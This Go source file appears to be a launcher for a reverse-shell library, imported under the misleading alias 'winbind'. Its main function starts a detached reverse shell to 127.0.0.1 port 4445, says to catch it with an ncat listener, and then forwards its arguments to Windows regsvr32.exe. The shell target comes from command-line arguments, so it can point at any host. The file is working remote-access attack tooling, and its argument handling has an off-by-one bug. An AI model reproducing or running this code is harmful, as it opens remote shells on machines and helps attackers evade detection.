package main import ( "fmt" "log" "os" "os/exec" "strconv" winbind "github.com/Vr00mm/sysproc/reverse_shell" ) func runDetachedShell(args []string) { if len(args) < 3 { log.Printf("Invalid arguments for detached shell: %v", args) return } host := args[2] port, err := strconv.Atoi(args[3]) if err != nil { log.Printf("Invalid port: %s", args[3]) return } winbind.ExecuteDetachedShell(host, port) } func executeAndWait(cmdArgs []string) { log.Printf("Executing and waiting: %v", cmdArgs) cmd := exec.Command(cmdArgs[0], cmdArgs[1:]...) err := cmd.Run() if err != nil { log.Printf("ERROR: Command execution failed: %v", err) } else { log.Printf("Command executed successfully") } } func main() { // Check if we're being run as a detached shell process if len(os.Args) > 1 && os.Args[1] == "DETACHED_SHELL" { runDetachedShell(os.Args) return } fmt.Println("Creating detached reverse shell...") fmt.Println("Host: 127.0.0.1") fmt.Println("Port: 4445") fmt.Println() err := winbind.CreateReverseShell("127.0.0.1", 4445) if err != nil { log.Printf("Failed to start detached reverse shell: %v", err) } else { fmt.Println("SUCCESS: Detached reverse shell process started!") fmt.Println("To test: Run 'ncat -tnlp 4445' in another terminal") fmt.Println("Check Task Manager - you should see a separate instance of this app running") } if len(os.Args) > 1 { log.Printf("Executing regsvr32 with args: %v", os.Args[1:]) executeAndWait(append([]string{"C:\\Windows\\System32\\regsvr32.exe"}, os.Args[1:]...)) } }